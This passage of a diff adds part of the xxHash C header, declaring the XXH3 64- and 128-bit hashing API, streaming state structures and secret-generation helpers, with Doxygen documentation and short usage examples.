@ingroup public + * @{ + * + * XXH3 is a more recent hash algorithm featuring: + * - Improved speed for both small and large inputs + * - True 64-bit and 128-bit outputs + * - SIMD acceleration + * - Improved 32-bit viability + * + * Speed analysis methodology is explained here: + * + * https://fastcompression.blogspot.com/2019/03/presenting-xxh3.html + * + * Compared to XXH64, expect XXH3 to run approximately + * ~2x faster on large inputs and >3x faster on small ones, + * exact differences vary depending on platform. + * + * XXH3's speed benefits greatly from SIMD and 64-bit arithmetic, + * but does not require it. + * Most 32-bit and 64-bit targets that can run XXH32 smoothly can run XXH3 + * at competitive speeds, even without vector support. Further details are + * explained in the implementation. + * + * XXH3 has a fast scalar implementation, but it also includes accelerated SIMD + * implementations for many common platforms: + * - AVX512 + * - AVX2 + * - SSE2 + * - ARM NEON + * - WebAssembly SIMD128 + * - POWER8 VSX + * - s390x ZVector + * This can be controlled via the @ref XXH_VECTOR macro, but it automatically + * selects the best version according to predefined macros. For the x86 family, an + * automatic runtime dispatcher is included separately in @ref xxh_x86dispatch.c. + * + * XXH3 implementation is portable: + * it has a generic C90 formulation that can be compiled on any platform, + * all implementations generate exactly the same hash value on all platforms. + * Starting from v0.8.0, it's also labelled "stable", meaning that + * any future version will also generate the same hash value. + * + * XXH3 offers 2 variants, _64bits and _128bits. + * + * When only 64 bits are needed, prefer invoking the _64bits variant, as it + * reduces the amount of mixing, resulting in faster speed on small inputs. + * It's also generally simpler to manipulate a scalar return type than a struct. + * + * The API supports one-shot hashing, streaming mode, and custom secrets. + */ + +/*! + * @ingroup tuning + * @brief Possible values for @ref XXH_VECTOR. + * + * Unless set explicitly, determined automatically. + */ +# define XXH_SCALAR 0 /*!< Portable scalar version */ +# define XXH_SSE2 1 /*!< SSE2 for Pentium 4, Opteron, all x86_64. */ +# define XXH_AVX2 2 /*!< AVX2 for Haswell and Bulldozer */ +# define XXH_AVX512 3 /*!< AVX512 for Skylake and Icelake */ +# define XXH_NEON 4 /*!< NEON for most ARMv7-A, all AArch64, and WASM SIMD128 */ +# define XXH_VSX 5 /*!< VSX and ZVector for POWER8/z13 (64-bit) */ +# define XXH_SVE 6 /*!< SVE for some ARMv8-A and ARMv9-A */ +# define XXH_LSX 7 /*!< LSX (128-bit SIMD) for LoongArch64 */ +# define XXH_LASX 8 /*!< LASX (256-bit SIMD) for LoongArch64 */ + + +/*-********************************************************************** +* XXH3 64-bit variant +************************************************************************/ + +/*! + * @brief Calculates 64-bit unseeded variant of XXH3 hash of @p input. + * + * @param input The block of data to be hashed, at least @p length bytes in size. + * @param length The length of @p input, in bytes. + * + * @pre + * The memory between @p input and @p input + @p length must be valid, + * readable, contiguous memory. However, if @p length is `0`, @p input may be + * `NULL`. In C++, this also must be *TriviallyCopyable*. + * + * @return The calculated 64-bit XXH3 hash value. + * + * @note + * This is equivalent to @ref XXH3_64bits_withSeed() with a seed of `0`, however + * it may have slightly better performance due to constant propagation of the + * defaults. + * + * @see + * XXH3_64bits_withSeed(), XXH3_64bits_withSecret(): other seeding variants + * @see @ref single_shot_example "Single Shot Example" for an example. + */ +XXH_PUBLIC_API XXH_PUREF XXH64_hash_t XXH3_64bits(XXH_NOESCAPE const void* input, size_t length); + +/*! + * @brief Calculates 64-bit seeded variant of XXH3 hash of @p input. + * + * @param input The block of data to be hashed, at least @p length bytes in size. + * @param length The length of @p input, in bytes. + * @param seed The 64-bit seed to alter the hash result predictably. + * + * @pre + * The memory between @p input and @p input + @p length must be valid, + * readable, contiguous memory. However, if @p length is `0`, @p input may be + * `NULL`. In C++, this also must be *TriviallyCopyable*. + * + * @return The calculated 64-bit XXH3 hash value. + * + * @note + * seed == 0 produces the same results as @ref XXH3_64bits(). + * + * This variant generates a custom secret on the fly based on default secret + * altered using the @p seed value. + * + * While this operation is decently fast, note that it's not completely free. + * + * @see @ref single_shot_example "Single Shot Example" for an example. + */ +XXH_PUBLIC_API XXH_PUREF XXH64_hash_t XXH3_64bits_withSeed(XXH_NOESCAPE const void* input, size_t length, XXH64_hash_t seed); + +/*! + * The bare minimum size for a custom secret. + * + * @see + * XXH3_64bits_withSecret(), XXH3_64bits_reset_withSecret(), + * XXH3_128bits_withSecret(), XXH3_128bits_reset_withSecret(). + */ +#define XXH3_SECRET_SIZE_MIN 136 + +/*! + * @brief Calculates 64-bit variant of XXH3 with a custom "secret". + * + * @param data The block of data to be hashed, at least @p len bytes in size. + * @param len The length of @p data, in bytes. + * @param secret The secret data. + * @param secretSize The length of @p secret, in bytes. + * + * @return The calculated 64-bit XXH3 hash value. + * + * @pre + * The memory between @p data and @p data + @p len must be valid, + * readable, contiguous memory. However, if @p length is `0`, @p data may be + * `NULL`. In C++, this also must be *TriviallyCopyable*. + * + * It's possible to provide any blob of bytes as a "secret" to generate the hash. + * This makes it more difficult for an external actor to prepare an intentional collision. + * The main condition is that @p secretSize *must* be large enough (>= @ref XXH3_SECRET_SIZE_MIN). + * However, the quality of the secret impacts the dispersion of the hash algorithm. + * Therefore, the secret _must_ look like a bunch of random bytes. + * Avoid "trivial" or structured data such as repeated sequences or a text document. + * Whenever in doubt about the "randomness" of the blob of bytes, + * consider employing @ref XXH3_generateSecret() instead (see below). + * It will generate a proper high entropy secret derived from the blob of bytes. + * Another advantage of using XXH3_generateSecret() is that + * it guarantees that all bits within the initial blob of bytes + * will impact every bit of the output. + * This is not necessarily the case when using the blob of bytes directly + * because, when hashing _small_ inputs, only a portion of the secret is employed. + * + * @see @ref single_shot_example "Single Shot Example" for an example. + */ +XXH_PUBLIC_API XXH_PUREF XXH64_hash_t XXH3_64bits_withSecret(XXH_NOESCAPE const void* data, size_t len, XXH_NOESCAPE const void* secret, size_t secretSize); + + +/******* Streaming *******/ +#ifndef XXH_NO_STREAM +/* + * Streaming requires state maintenance. + * This operation costs memory and CPU. + * As a consequence, streaming is slower than one-shot hashing. + * For better performance, prefer one-shot functions whenever applicable. + */ + +/*! + * @brief The opaque state struct for the XXH3 streaming API. + * + * @see XXH3_state_s for details. + * @see @ref streaming_example "Streaming Example" + */ +typedef struct XXH3_state_s XXH3_state_t; +XXH_PUBLIC_API XXH_MALLOCF XXH3_state_t* XXH3_createState(void); +XXH_PUBLIC_API XXH_errorcode XXH3_freeState(XXH3_state_t* statePtr); + +/*! + * @brief Copies one @ref XXH3_state_t to another. + * + * @param dst_state The state to copy to. + * @param src_state The state to copy from. + * @pre + * @p dst_state and @p src_state must not be `NULL` and must not overlap. + */ +XXH_PUBLIC_API void XXH3_copyState(XXH_NOESCAPE XXH3_state_t* dst_state, XXH_NOESCAPE const XXH3_state_t* src_state); + +/*! + * @brief Resets an @ref XXH3_state_t to begin a new hash. + * + * @param statePtr The state struct to reset. + * + * @pre + * @p statePtr must not be `NULL`. + * + * @return @ref XXH_OK on success. + * @return @ref XXH_ERROR on failure. + * + * @note + * - This function resets `statePtr` and generate a secret with default parameters. + * - Call this function before @ref XXH3_64bits_update(). + * - Digest will be equivalent to `XXH3_64bits()`. + * + * @see @ref streaming_example "Streaming Example" + * + */ +XXH_PUBLIC_API XXH_errorcode XXH3_64bits_reset(XXH_NOESCAPE XXH3_state_t* statePtr); + +/*! + * @brief Resets an @ref XXH3_state_t with 64-bit seed to begin a new hash. + * + * @param statePtr The state struct to reset. + * @param seed The 64-bit seed to alter the hash result predictably. + * + * @pre + * @p statePtr must not be `NULL`. + * + * @return @ref XXH_OK on success. + * @return @ref XXH_ERROR on failure. + * + * @note + * - This function resets `statePtr` and generate a secret from `seed`. + * - Call this function before @ref XXH3_64bits_update(). + * - Digest will be equivalent to `XXH3_64bits_withSeed()`. + * + * @see @ref streaming_example "Streaming Example" + * + */ +XXH_PUBLIC_API XXH_errorcode XXH3_64bits_reset_withSeed(XXH_NOESCAPE XXH3_state_t* statePtr, XXH64_hash_t seed); + +/*! + * @brief Resets an @ref XXH3_state_t with secret data to begin a new hash. + * + * @param statePtr The state struct to reset. + * @param secret The secret data. + * @param secretSize The length of @p secret, in bytes. + * + * @pre + * @p statePtr must not be `NULL`. + * + * @return @ref XXH_OK on success. + * @return @ref XXH_ERROR on failure. + * + * @note + * `secret` is referenced, it _must outlive_ the hash streaming session. + * + * Similar to one-shot API, `secretSize` must be >= @ref XXH3_SECRET_SIZE_MIN, + * and the quality of produced hash values depends on secret's entropy + * (secret's content should look like a bunch of random bytes). + * When in doubt about the randomness of a candidate `secret`, + * consider employing `XXH3_generateSecret()` instead (see below). + * + * @see @ref streaming_example "Streaming Example" + */ +XXH_PUBLIC_API XXH_errorcode XXH3_64bits_reset_withSecret(XXH_NOESCAPE XXH3_state_t* statePtr, XXH_NOESCAPE const void* secret, size_t secretSize); + +/*! + * @brief Consumes a block of @p input to an @ref XXH3_state_t. + * + * @param statePtr The state struct to update. + * @param input The block of data to be hashed, at least @p length bytes in size. + * @param length The length of @p input, in bytes. + * + * @pre + * @p statePtr must not be `NULL`. + * @pre + * The memory between @p input and @p input + @p length must be valid, + * readable, contiguous memory. However, if @p length is `0`, @p input may be + * `NULL`. In C++, this also must be *TriviallyCopyable*. + * + * @return @ref XXH_OK on success. + * @return @ref XXH_ERROR on failure. + * + * @note Call this to incrementally consume blocks of data. + * + * @see @ref streaming_example "Streaming Example" + */ +XXH_PUBLIC_API XXH_errorcode XXH3_64bits_update (XXH_NOESCAPE XXH3_state_t* statePtr, XXH_NOESCAPE const void* input, size_t length); + +/*! + * @brief Returns the calculated XXH3 64-bit hash value from an @ref XXH3_state_t. + * + * @param statePtr The state struct to calculate the hash from. + * + * @pre + * @p statePtr must not be `NULL`. + * + * @return The calculated XXH3 64-bit hash value from that state. + * + * @note + * Calling XXH3_64bits_digest() will not affect @p statePtr, so you can update, + * digest, and update again. + * + * @see @ref streaming_example "Streaming Example" + */ +XXH_PUBLIC_API XXH_PUREF XXH64_hash_t XXH3_64bits_digest (XXH_NOESCAPE const XXH3_state_t* statePtr); +#endif /* !XXH_NO_STREAM */ + +/* note : canonical representation of XXH3 is the same as XXH64 + * since they both produce XXH64_hash_t values */ + + +/*-********************************************************************** +* XXH3 128-bit variant +************************************************************************/ + +/*! + * @brief The return value from 128-bit hashes. + * + * Stored in little endian order, although the fields themselves are in native + * endianness. + */ +typedef struct { + XXH64_hash_t low64; /*!< `value & 0xFFFFFFFFFFFFFFFF` */ + XXH64_hash_t high64; /*!< `value >> 64` */ +} XXH128_hash_t; + +/*! + * @brief Calculates 128-bit unseeded variant of XXH3 of @p data. + * + * @param data The block of data to be hashed, at least @p length bytes in size. + * @param len The length of @p data, in bytes. + * + * @return The calculated 128-bit variant of XXH3 value. + * + * The 128-bit variant of XXH3 has more strength, but it has a bit of overhead + * for shorter inputs. + * + * This is equivalent to @ref XXH3_128bits_withSeed() with a seed of `0`, however + * it may have slightly better performance due to constant propagation of the + * defaults. + * + * @see XXH3_128bits_withSeed(), XXH3_128bits_withSecret(): other seeding variants + * @see @ref single_shot_example "Single Shot Example" for an example. + */ +XXH_PUBLIC_API XXH_PUREF XXH128_hash_t XXH3_128bits(XXH_NOESCAPE const void* data, size_t len); +/*! @brief Calculates 128-bit seeded variant of XXH3 hash of @p data. + * + * @param data The block of data to be hashed, at least @p length bytes in size. + * @param len The length of @p data, in bytes. + * @param seed The 64-bit seed to alter the hash result predictably. + * + * @return The calculated 128-bit variant of XXH3 value. + * + * @note + * seed == 0 produces the same results as @ref XXH3_64bits(). + * + * This variant generates a custom secret on the fly based on default secret + * altered using the @p seed value. + * + * While this operation is decently fast, note that it's not completely free. + * + * @see XXH3_128bits(), XXH3_128bits_withSecret(): other seeding variants + * @see @ref single_shot_example "Single Shot Example" for an example. + */ +XXH_PUBLIC_API XXH_PUREF XXH128_hash_t XXH3_128bits_withSeed(XXH_NOESCAPE const void* data, size_t len, XXH64_hash_t seed); +/*! + * @brief Calculates 128-bit variant of XXH3 with a custom "secret". + * + * @param data The block of data to be hashed, at least @p len bytes in size. + * @param len The length of @p data, in bytes. + * @param secret The secret data. + * @param secretSize The length of @p secret, in bytes. + * + * @return The calculated 128-bit variant of XXH3 value. + * + * It's possible to provide any blob of bytes as a "secret" to generate the hash. + * This makes it more difficult for an external actor to prepare an intentional collision. + * The main condition is that @p secretSize *must* be large enough (>= @ref XXH3_SECRET_SIZE_MIN). + * However, the quality of the secret impacts the dispersion of the hash algorithm. + * Therefore, the secret _must_ look like a bunch of random bytes. + * Avoid "trivial" or structured data such as repeated sequences or a text document. + * Whenever in doubt about the "randomness" of the blob of bytes, + * consider employing @ref XXH3_generateSecret() instead (see below). + * It will generate a proper high entropy secret derived from the blob of bytes. + * Another advantage of using XXH3_generateSecret() is that + * it guarantees that all bits within the initial blob of bytes + * will impact every bit of the output. + * This is not necessarily the case when using the blob of bytes directly + * because, when hashing _small_ inputs, only a portion of the secret is employed. + * + * @see @ref single_shot_example "Single Shot Example" for an example. + */ +XXH_PUBLIC_API XXH_PUREF XXH128_hash_t XXH3_128bits_withSecret(XXH_NOESCAPE const void* data, size_t len, XXH_NOESCAPE const void* secret, size_t secretSize); + +/******* Streaming *******/ +#ifndef XXH_NO_STREAM +/* + * Streaming requires state maintenance. + * This operation costs memory and CPU. + * As a consequence, streaming is slower than one-shot hashing. + * For better performance, prefer one-shot functions whenever applicable. + * + * XXH3_128bits uses the same XXH3_state_t as XXH3_64bits(). + * Use already declared XXH3_createState() and XXH3_freeState(). + * + * All reset and streaming functions have same meaning as their 64-bit counterpart. + */ + +/*! + * @brief Resets an @ref XXH3_state_t to begin a new hash. + * + * @param statePtr The state struct to reset. + * + * @pre + * @p statePtr must not be `NULL`. + * + * @return @ref XXH_OK on success. + * @return @ref XXH_ERROR on failure. + * + * @note + * - This function resets `statePtr` and generate a secret with default parameters. + * - Call it before @ref XXH3_128bits_update(). + * - Digest will be equivalent to `XXH3_128bits()`. + * + * @see @ref streaming_example "Streaming Example" + */ +XXH_PUBLIC_API XXH_errorcode XXH3_128bits_reset(XXH_NOESCAPE XXH3_state_t* statePtr); + +/*! + * @brief Resets an @ref XXH3_state_t with 64-bit seed to begin a new hash. + * + * @param statePtr The state struct to reset. + * @param seed The 64-bit seed to alter the hash result predictably. + * + * @pre + * @p statePtr must not be `NULL`. + * + * @return @ref XXH_OK on success. + * @return @ref XXH_ERROR on failure. + * + * @note + * - This function resets `statePtr` and generate a secret from `seed`. + * - Call it before @ref XXH3_128bits_update(). + * - Digest will be equivalent to `XXH3_128bits_withSeed()`. + * + * @see @ref streaming_example "Streaming Example" + */ +XXH_PUBLIC_API XXH_errorcode XXH3_128bits_reset_withSeed(XXH_NOESCAPE XXH3_state_t* statePtr, XXH64_hash_t seed); +/*! + * @brief Resets an @ref XXH3_state_t with secret data to begin a new hash. + * + * @param statePtr The state struct to reset. + * @param secret The secret data. + * @param secretSize The length of @p secret, in bytes. + * + * @pre + * @p statePtr must not be `NULL`. + * + * @return @ref XXH_OK on success. + * @return @ref XXH_ERROR on failure. + * + * `secret` is referenced, it _must outlive_ the hash streaming session. + * Similar to one-shot API, `secretSize` must be >= @ref XXH3_SECRET_SIZE_MIN, + * and the quality of produced hash values depends on secret's entropy + * (secret's content should look like a bunch of random bytes). + * When in doubt about the randomness of a candidate `secret`, + * consider employing `XXH3_generateSecret()` instead (see below). + * + * @see @ref streaming_example "Streaming Example" + */ +XXH_PUBLIC_API XXH_errorcode XXH3_128bits_reset_withSecret(XXH_NOESCAPE XXH3_state_t* statePtr, XXH_NOESCAPE const void* secret, size_t secretSize); + +/*! + * @brief Consumes a block of @p input to an @ref XXH3_state_t. + * + * Call this to incrementally consume blocks of data. + * + * @param statePtr The state struct to update. + * @param input The block of data to be hashed, at least @p length bytes in size. + * @param length The length of @p input, in bytes. + * + * @pre + * @p statePtr must not be `NULL`. + * + * @return @ref XXH_OK on success. + * @return @ref XXH_ERROR on failure. + * + * @note + * The memory between @p input and @p input + @p length must be valid, + * readable, contiguous memory. However, if @p length is `0`, @p input may be + * `NULL`. In C++, this also must be *TriviallyCopyable*. + * + */ +XXH_PUBLIC_API XXH_errorcode XXH3_128bits_update (XXH_NOESCAPE XXH3_state_t* statePtr, XXH_NOESCAPE const void* input, size_t length); + +/*! + * @brief Returns the calculated XXH3 128-bit hash value from an @ref XXH3_state_t. + * + * @param statePtr The state struct to calculate the hash from. + * + * @pre + * @p statePtr must not be `NULL`. + * + * @return The calculated XXH3 128-bit hash value from that state. + * + * @note + * Calling XXH3_128bits_digest() will not affect @p statePtr, so you can update, + * digest, and update again. + * + */ +XXH_PUBLIC_API XXH_PUREF XXH128_hash_t XXH3_128bits_digest (XXH_NOESCAPE const XXH3_state_t* statePtr); +#endif /* !XXH_NO_STREAM */ + +/* Following helper functions make it possible to compare XXH128_hast_t values. + * Since XXH128_hash_t is a structure, this capability is not offered by the language. + * Note: For better performance, these functions can be inlined using XXH_INLINE_ALL */ + +/*! + * @brief Check equality of two XXH128_hash_t values + * + * @param h1 The 128-bit hash value. + * @param h2 Another 128-bit hash value. + * + * @return `1` if `h1` and `h2` are equal. + * @return `0` if they are not. + */ +XXH_PUBLIC_API XXH_PUREF int XXH128_isEqual(XXH128_hash_t h1, XXH128_hash_t h2); + +/*! + * @brief Compares two @ref XXH128_hash_t + * + * This comparator is compatible with stdlib's `qsort()`/`bsearch()`. + * + * @param h128_1 Left-hand side value + * @param h128_2 Right-hand side value + * + * @return >0 if @p h128_1 > @p h128_2 + * @return =0 if @p h128_1 == @p h128_2 + * @return <0 if @p h128_1 < @p h128_2 + */ +XXH_PUBLIC_API XXH_PUREF int XXH128_cmp(XXH_NOESCAPE const void* h128_1, XXH_NOESCAPE const void* h128_2); + + +/******* Canonical representation *******/ +typedef struct { unsigned char digest[sizeof(XXH128_hash_t)]; } XXH128_canonical_t; + + +/*! + * @brief Converts an @ref XXH128_hash_t to a big endian @ref XXH128_canonical_t. + * + * @param dst The @ref XXH128_canonical_t pointer to be stored to. + * @param hash The @ref XXH128_hash_t to be converted. + * + * @pre + * @p dst must not be `NULL`. + * @see @ref canonical_representation_example "Canonical Representation Example" + */ +XXH_PUBLIC_API void XXH128_canonicalFromHash(XXH_NOESCAPE XXH128_canonical_t* dst, XXH128_hash_t hash); + +/*! + * @brief Converts an @ref XXH128_canonical_t to a native @ref XXH128_hash_t. + * + * @param src The @ref XXH128_canonical_t to convert. + * + * @pre + * @p src must not be `NULL`. + * + * @return The converted hash. + * @see @ref canonical_representation_example "Canonical Representation Example" + */ +XXH_PUBLIC_API XXH_PUREF XXH128_hash_t XXH128_hashFromCanonical(XXH_NOESCAPE const XXH128_canonical_t* src); + + +#endif /* !XXH_NO_XXH3 */ +#endif /* XXH_NO_LONG_LONG */ + +/*! + * @} + */ +#endif /* XXHASH_H_5627135585666179 */ + + + +#if defined(XXH_STATIC_LINKING_ONLY) && !defined(XXHASH_H_STATIC_13879238742) +#define XXHASH_H_STATIC_13879238742 +/* **************************************************************************** + * This section contains declarations which are not guaranteed to remain stable. + * They may change in future versions, becoming incompatible with a different + * version of the library. + * These declarations should only be used with static linking. + * Never use them in association with dynamic linking! + ***************************************************************************** */ + +/* + * These definitions are only present to allow static allocation + * of XXH states, on stack or in a struct, for example. + * Never **ever** access their members directly. + */ + +/*! + * @internal + * @brief Structure for XXH32 streaming API. + * + * @note This is only defined when @ref XXH_STATIC_LINKING_ONLY, + * @ref XXH_INLINE_ALL, or @ref XXH_IMPLEMENTATION is defined. Otherwise it is + * an opaque type. This allows fields to safely be changed. + * + * Typedef'd to @ref XXH32_state_t. + * Do not access the members of this struct directly. + * @see XXH64_state_s, XXH3_state_s + */ +struct XXH32_state_s { + XXH32_hash_t total_len_32; /*!< Total length hashed, modulo 2^32 */ + XXH32_hash_t large_len; /*!< Whether the hash is >= 16 (handles @ref total_len_32 overflow) */ + XXH32_hash_t acc[4]; /*!< Accumulator lanes */ + unsigned char buffer[16]; /*!< Internal buffer for partial reads. */ + XXH32_hash_t bufferedSize; /*!< Amount of data in @ref buffer */ + XXH32_hash_t reserved; /*!< Reserved field. Do not read nor write to it. */ +}; /* typedef'd to XXH32_state_t */ + + +#ifndef XXH_NO_LONG_LONG /* defined when there is no 64-bit support */ + +/*! + * @internal + * @brief Structure for XXH64 streaming API. + * + * @note This is only defined when @ref XXH_STATIC_LINKING_ONLY, + * @ref XXH_INLINE_ALL, or @ref XXH_IMPLEMENTATION is defined. Otherwise it is + * an opaque type. This allows fields to safely be changed. + * + * Typedef'd to @ref XXH64_state_t. + * Do not access the members of this struct directly. + * @see XXH32_state_s, XXH3_state_s + */ +struct XXH64_state_s { + XXH64_hash_t total_len; /*!< Total length hashed. This is always 64-bit. */ + XXH64_hash_t acc[4]; /*!< Accumulator lanes */ + unsigned char buffer[32]; /*!< Internal buffer for partial reads.. */ + XXH32_hash_t bufferedSize; /*!< Amount of data in @ref buffer */ + XXH32_hash_t reserved32; /*!< Reserved field, needed for padding anyways*/ + XXH64_hash_t reserved64; /*!< Reserved field. Do not read or write to it. */ +}; /* typedef'd to XXH64_state_t */ + +#ifndef XXH_NO_XXH3 + +#if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 201112L) /* >= C11 */ +# define XXH_ALIGN(n) _Alignas(n) +#elif defined(__cplusplus) && (__cplusplus >= 201103L) /* >= C++11 */ +/* In C++ alignas() is a keyword */ +# define XXH_ALIGN(n) alignas(n) +#elif defined(__GNUC__) +# define XXH_ALIGN(n) __attribute__ ((aligned(n))) +#elif defined(_MSC_VER) +# define XXH_ALIGN(n) __declspec(align(n)) +#else +# define XXH_ALIGN(n) /* disabled */ +#endif + +/* Old GCC versions only accept the attribute after the type in structures. */ +#if !(defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 201112L)) /* C11+ */ \ + && ! (defined(__cplusplus) && (__cplusplus >= 201103L)) /* >= C++11 */ \ + && defined(__GNUC__) +# define XXH_ALIGN_MEMBER(align, type) type XXH_ALIGN(align) +#else +# define XXH_ALIGN_MEMBER(align, type) XXH_ALIGN(align) type +#endif + +/*! + * @internal + * @brief The size of the internal XXH3 buffer. + * + * This is the optimal update size for incremental hashing. + * + * @see XXH3_64b_update(), XXH3_128b_update(). + */ +#define XXH3_INTERNALBUFFER_SIZE 256 + +/*! + * @def XXH3_SECRET_DEFAULT_SIZE + * @brief Default Secret's size + * + * This is the size of internal XXH3_kSecret + * and is needed by XXH3_generateSecret_fromSeed(). + * + * Not to be confused with @ref XXH3_SECRET_SIZE_MIN. + */ +#define XXH3_SECRET_DEFAULT_SIZE 192 + +/*! + * @internal + * @brief Structure for XXH3 streaming API. + * + * @note This is only defined when @ref XXH_STATIC_LINKING_ONLY, + * @ref XXH_INLINE_ALL, or @ref XXH_IMPLEMENTATION is defined. + * Otherwise it is an opaque type. + * Never use this definition in combination with dynamic library. + * This allows fields to safely be changed in the future. + * + * @note ** This structure has a strict alignment requirement of 64 bytes!! ** + * Do not allocate this with `malloc()` or `new`, + * it will not be sufficiently aligned. + * Use @ref XXH3_createState() and @ref XXH3_freeState(), or stack allocation. + * + * Typedef'd to @ref XXH3_state_t. + * Do never access the members of this struct directly. + * + * @see XXH3_INITSTATE() for stack initialization. + * @see XXH3_createState(), XXH3_freeState(). + * @see XXH32_state_s, XXH64_state_s + */ +struct XXH3_state_s { + XXH_ALIGN_MEMBER(64, XXH64_hash_t acc[8]); + /*!< The 8 accumulators. See @ref XXH32_state_s::acc and @ref XXH64_state_s::acc */ + XXH_ALIGN_MEMBER(64, unsigned char customSecret[XXH3_SECRET_DEFAULT_SIZE]); + /*!< Used to store a custom secret generated from a seed. */ + XXH_ALIGN_MEMBER(64, unsigned char buffer[XXH3_INTERNALBUFFER_SIZE]); + /*!< The internal buffer. @see XXH32_state_s::mem32 */ + XXH32_hash_t bufferedSize; + /*!< The amount of memory in @ref buffer, @see XXH32_state_s::memsize */ + XXH32_hash_t useSeed; + /*!< Reserved field. Needed for padding on 64-bit. */ + size_t nbStripesSoFar; + /*!< Number or stripes processed. */ + XXH64_hash_t totalLen; + /*!< Total length hashed. 64-bit even on 32-bit targets. */ + size_t nbStripesPerBlock; + /*!< Number of stripes per block. */ + size_t secretLimit; + /*!< Size of @ref customSecret or @ref extSecret */ + XXH64_hash_t seed; + /*!< Seed for _withSeed variants. Must be zero otherwise, @see XXH3_INITSTATE() */ + XXH64_hash_t reserved64; + /*!< Reserved field. */ + const unsigned char* extSecret; + /*!< Reference to an external secret for the _withSecret variants, NULL + * for other variants. */ + /* note: there may be some padding at the end due to alignment on 64 bytes */ +}; /* typedef'd to XXH3_state_t */ + +#undef XXH_ALIGN_MEMBER + +/*! + * @brief Initializes a stack-allocated `XXH3_state_s`. + * + * When the @ref XXH3_state_t structure is merely emplaced on stack, + * it should be initialized with XXH3_INITSTATE() or a memset() + * in case its first reset uses XXH3_NNbits_reset_withSeed(). + * This init can be omitted if the first reset uses default or _withSecret mode. + * This operation isn't necessary when the state is created with XXH3_createState(). + * Note that this doesn't prepare the state for a streaming operation, + * it's still necessary to use XXH3_NNbits_reset*() afterwards. + */ +#define XXH3_INITSTATE(XXH3_state_ptr) \ + do { \ + XXH3_state_t* tmp_xxh3_state_ptr = (XXH3_state_ptr); \ + tmp_xxh3_state_ptr->seed = 0; \ + tmp_xxh3_state_ptr->extSecret = NULL; \ + } while(0) + + +/*! + * @brief Calculates the 128-bit hash of @p data using XXH3. + * + * @param data The block of data to be hashed, at least @p len bytes in size. + * @param len The length of @p data, in bytes. + * @param seed The 64-bit seed to alter the hash's output predictably. + * + * @pre + * The memory between @p data and @p data + @p len must be valid, + * readable, contiguous memory. However, if @p len is `0`, @p data may be + * `NULL`. In C++, this also must be *TriviallyCopyable*. + * + * @return The calculated 128-bit XXH3 value. + * + * @see @ref single_shot_example "Single Shot Example" for an example. + */ +XXH_PUBLIC_API XXH_PUREF XXH128_hash_t XXH128(XXH_NOESCAPE const void* data, size_t len, XXH64_hash_t seed); + + +/* === Experimental API === */ +/* Symbols defined below must be considered tied to a specific library version. */ + +/*! + * @brief Derive a high-entropy secret from any user-defined content, named customSeed. + * + * @param secretBuffer A writable buffer for derived high-entropy secret data. + * @param secretSize Size of secretBuffer, in bytes. Must be >= XXH3_SECRET_SIZE_MIN. + * @param customSeed A user-defined content. + * @param customSeedSize Size of customSeed, in bytes. + * + * @return @ref XXH_OK on success. + * @return @ref XXH_ERROR on failure. + * + * The generated secret can be used in combination with `*_withSecret()` functions. + * The `_withSecret()` variants are useful to provide a higher level of protection + * than 64-bit seed, as it becomes much more difficult for an external actor to + * guess how to impact the calculation logic. + * + * The function accepts as input a custom seed of any length and any content, + * and derives from it a high-entropy secret of length @p secretSize into an + * already allocated buffer @p secretBuffer. + * + * The generated secret can then be used with any `*_withSecret()` variant. + * The functions @ref XXH3_128bits_withSecret(), @ref XXH3_64bits_withSecret(), + * @ref XXH3_128bits_reset_withSecret() and @ref XXH3_64bits_reset_withSecret() + * are part of this list. They all accept a `secret` parameter + * which must be large enough for implementation reasons (>= @ref XXH3_SECRET_SIZE_MIN) + * _and_ feature very high entropy (consist of random-looking bytes). + * These conditions can be a high bar to meet, so @ref XXH3_generateSecret() can + * be employed to ensure proper quality. + * + * @p customSeed can be anything. It can have any size, even small ones, + * and its content can be anything, even "poor entropy" sources such as a bunch + * of zeroes. The resulting `secret` will nonetheless provide all required qualities. + * + * @pre + * - @p secretSize must be >= @ref XXH3_SECRET_SIZE_MIN + * - When @p customSeedSize > 0, supplying NULL as customSeed is undefined behavior. + * + * Example code: + * @code{.c} + * #include + * #include + * #include + * #define XXH_STATIC_LINKING_ONLY // expose unstable API + * #include "xxhash.h" + * // Hashes argv[2] using the entropy from argv[1]. + * int main(int argc, char* argv[]) + * { + * char secret[XXH3_SECRET_SIZE_MIN]; + * if (argv != 3) { return 1; } + * XXH3_generateSecret(secret, sizeof(secret), argv[1], strlen(argv[1])); + * XXH64_hash_t h = XXH3_64bits_withSecret( + * argv[2], strlen(argv[2]), + * secret, sizeof(secret) + * ); + * printf("%016llx\n", (unsigned long long) h); + * } + * @endcode + */ +XXH_PUBLIC_API XXH_errorcode XXH3_generateSecret(XXH_NOESCAPE void* secretBuffer, size_t secretSize, XXH_NOESCAPE const void* customSeed, size_t customSeedSize); + +/*! + * @brief Generate the same secret as the _withSeed() variants. + * + * @param secretBuffer A writable buffer of @ref XXH3_SECRET_DEFAULT_SIZE bytes + * @param seed The 64-bit seed to alter the hash result predictably. + * + * The generated secret can be used in combination with + *`*_withSecret()` and `_withSecretandSeed()` variants. + * + * Example C++ `std::string` hash class: + * @code{.cpp} + * #include + * #define XXH_STATIC_LINKING_ONLY // expose unstable API + * #include "xxhash.h" + * // Slow, seeds each time + * class HashSlow { + * XXH64_hash_t seed; + * public: + * HashSlow(XXH64_hash_t s) : seed{s} {} + * size_t operator()(const std::string& x) const { + * return size_t{XXH3_64bits_withSeed(x.c_str(), x.length(), seed)}; + * } + * }; + * // Fast, caches the seeded secret for future uses. + * class HashFast { + * unsigned char secret[XXH3_SECRET_DEFAULT_SIZE]; + * public: + * HashFast(XXH64_hash_t s) { + * XXH3_generateSecret_fromSeed(secret, seed); + * } + * size_t operator()(const std::string& x) const { + * return size_t{ + * XXH3_64bits_withSecret(x.c_str(), x.length(), secret, sizeof(secret)) + * }; + * } + * }; + * @endcode + */ +XXH_PUBLIC_API void XXH3_generateSecret_fromSeed(XXH_NOESCAPE void* secretBuffer, XXH64_hash_t seed); + +/*! + * @brief Maximum size of "short" key in bytes. + */ +#define XXH3_MIDSIZE_MAX 240 + +/*! + * @brief Calculates 64/128-bit seeded variant of XXH3 hash of @p data. + * + * @param data The block of data to be hashed, at least @p len bytes in size. + * @param len The length of @p data, in bytes. + * @param secret The secret data. + * @param secretSize The length of @p secret, in bytes. + * @param seed The 64-bit seed to alter the hash result predictably. + * + * These variants generate hash values using either: + * - @p seed for "short" keys (< @ref 